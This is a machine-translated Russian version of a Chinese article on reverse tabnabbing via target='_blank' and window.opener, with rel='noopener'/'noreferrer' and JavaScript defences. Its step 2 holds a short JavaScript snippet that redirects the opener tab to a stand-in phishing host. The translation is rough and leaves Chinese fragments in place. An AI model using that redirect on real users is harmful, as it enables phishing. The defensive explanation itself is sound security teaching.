Опасная цель="_blank" и "открывалка"

внешний интерфейс Безопасность JavaScript браузер
Опасная цель="_blank" и "открывалка"

При использовании ссылки на веб-странице, если вы хотите, чтобы браузер автоматически открывал указанный адрес в новой вкладке, обычным способом являетсяaдобавить на ярлыкtarget等于"_blank"Атрибуты.

Однако именно этот атрибут представляет возможность для фишинговых атак.

источник

parentа такжеopener

говорящийopenerПрежде, давайте поговорим<iframe>серединаparent.

мы знаем, что в<iframe>предоставляет объект для взаимодействия родительских и дочерних страниц, называемыйwindow.parent, мы можем пройтиwindow.parentобъект для доступа к родительской странице со страницы во фреймеwindow.

openerа такжеparentто же, но только для<a target="_blank">Страница, которая открывается в новой вкладке. пройти через<a target="_blank">Открытую страницу можно использовать напрямуюwindow.openerдля доступа к исходной страницеwindowобъект.

Тот же домен и перекрестный домен

Браузер обеспечивает полную междоменную защиту.Если доменное имя совпадает,parentобъект иopenerОбъект на самом деле находится прямо надwindowобъект; и когда доменные имена отличаются,parentа такжеopenerпредставляет собой упакованныйglobalобъект. этоglobalОбъекты предоставляют очень ограниченный доступ к свойствам, и большинство из немногих свойств не разрешены (доступDOMException).

существует<iframe>, обеспечиваетsandboxАтрибуты используются для управления разрешениями страницы во фрейме, поэтому даже если это один и тот же домен, вы можете контролировать<iframe>безопасность.

использовать

Если на вашем веб-сайте есть ссылка, которая используетtarget="_blank", затем, как только пользователь щелкнет ссылку и перейдет на новую вкладку, страница в новой вкладке, если есть вредоносный код, может перейти с вашего веб-сайта прямо на поддельный веб-сайт. В этот момент, если пользователь вернется на вашу вкладку, он увидит замененную страницу.

подробные шаги

  1. на вашем сайтеhttps://example.comЕсть ссылка:

    <a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a>
    
  2. Пользователь нажал на ссылку, которая открыла сайт в новой вкладке. Доступ к этому веб-сайту можно получить через HTTP-заголовок.Refererатрибут для определения источника пользователя.

    Также сайт содержит код JavaScript, похожий на этот:

    const url = encodeURIComponent('{{header.referer}}');
    window.opener.location.replace('https://a.fake.site/?' + url);
    
  3. В этот момент пользователь продолжает просматривать страницу новой вкладки, и в это время он перешел на страницу вкладки, на которой находится исходный веб-сайт.https://a.fake.site/?https%3A%2F%2Fexample.com%2F.

  4. вредоносный веб-сайтhttps://a.fake.siteСогласно Query String, достаточно подделать страницу, чтобы обмануть пользователя и отобразить ее (можно также сделать скачок по периоду, сделав адресную строку браузера более запутанной).

  5. Пользователь закрытhttps://an.evil.site, вернуться на исходный сайт ……………… Я не могу вернуться.

Вышеуказанные шаги атаки в случае междоменной, в случае междоменной,openerобъект иparentТо же самое, ограничено, предоставляет только очень ограниченный доступ к свойствам, и большинству из немногих свойств не разрешен доступ (доступ напрямую вызоветDOMException).

но сparentразница в том,В случае междоменногоopenerеще можно назватьlocation.replaceметода такжеparentВы не можете.

Если он находится в том же домене (например, на определенной странице сайта внедрен вредоносный код), ситуация намного серьезнее, чем описанная выше.

защита

<iframe>имеютsandboxсвойства, в то время как ссылки, вы можете использовать следующие методы:

1. Реферальная политика и отсутствие реферера

В приведенных выше шагах атаки HTTP-заголовок вRefererатрибут, который фактически может быть добавлен в заголовок ответа HTTPReferrer Policyзаголовок для обеспечения безопасности конфиденциальности источника.

Referrer PolicyНужно изменить код бэкэнда для реализации, а на переднем конце вы можете использовать его.<a>помеченrelатрибут для указанияrel="noreferrer"для обеспечения конфиденциальности источника.

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

Но будьте осторожны: даже с ограничениямиreferer, по-прежнему не может предотвратить злонамеренный переход исходной метки.

2. noopener

В целях безопасности современные браузеры поддерживают<a>помеченrelуказанное свойствоrel="noopener", который больше не будет доступен в новых открытых вкладкахopenerобъект, он установлен наnull.

<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

3. JavaScript

noopenerСвойства, кажется, решают все проблемы, но... проблемы с совместимостью браузера...

Как видите, большинство браузеров теперь совместимыrel="noopener"характеристики. Однако для защиты немного более старых «современных» браузеров или очень старых «древних» браузеров или даже «древних» браузеров толькоnoopenerАтрибутов еще далеко не достаточно.

В настоящее время вы можете попросить помочь только следующий нативный JavaScript.

"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

рекомендовать

Сначала по ссылке на сайте, если используетеtarget="_blank", возьми этоrel="noopener", и рекомендуется принестиrel="noreferrer". Что-то вроде этого:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

Конечно, переход на сторонний веб-сайт, на вес SEO, также рекомендуетсяrel="nofollow", так что это заканчивается так:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

представление

Наконец, давайте поговорим о проблемах с производительностью.

Если сайт использует<a target="_blank">, то производительность вновь открытой вкладки повлияет на текущую страницу. В это время, если очень большой сценарий JavaScript выполняется на вновь открытой странице, исходная вкладка также будет затронута, и возникнет явление зависания (конечно, оно не будет зависать).

И если вы присоединитесь к ссылкеnoopener, то две вкладки не будут мешать друг другу, поэтому новая страница не повлияет на производительность исходной страницы.


Обратите внимание на публичный аккаунт WeChat: KnownsecFED, получайте больше качественной галантереи по коду!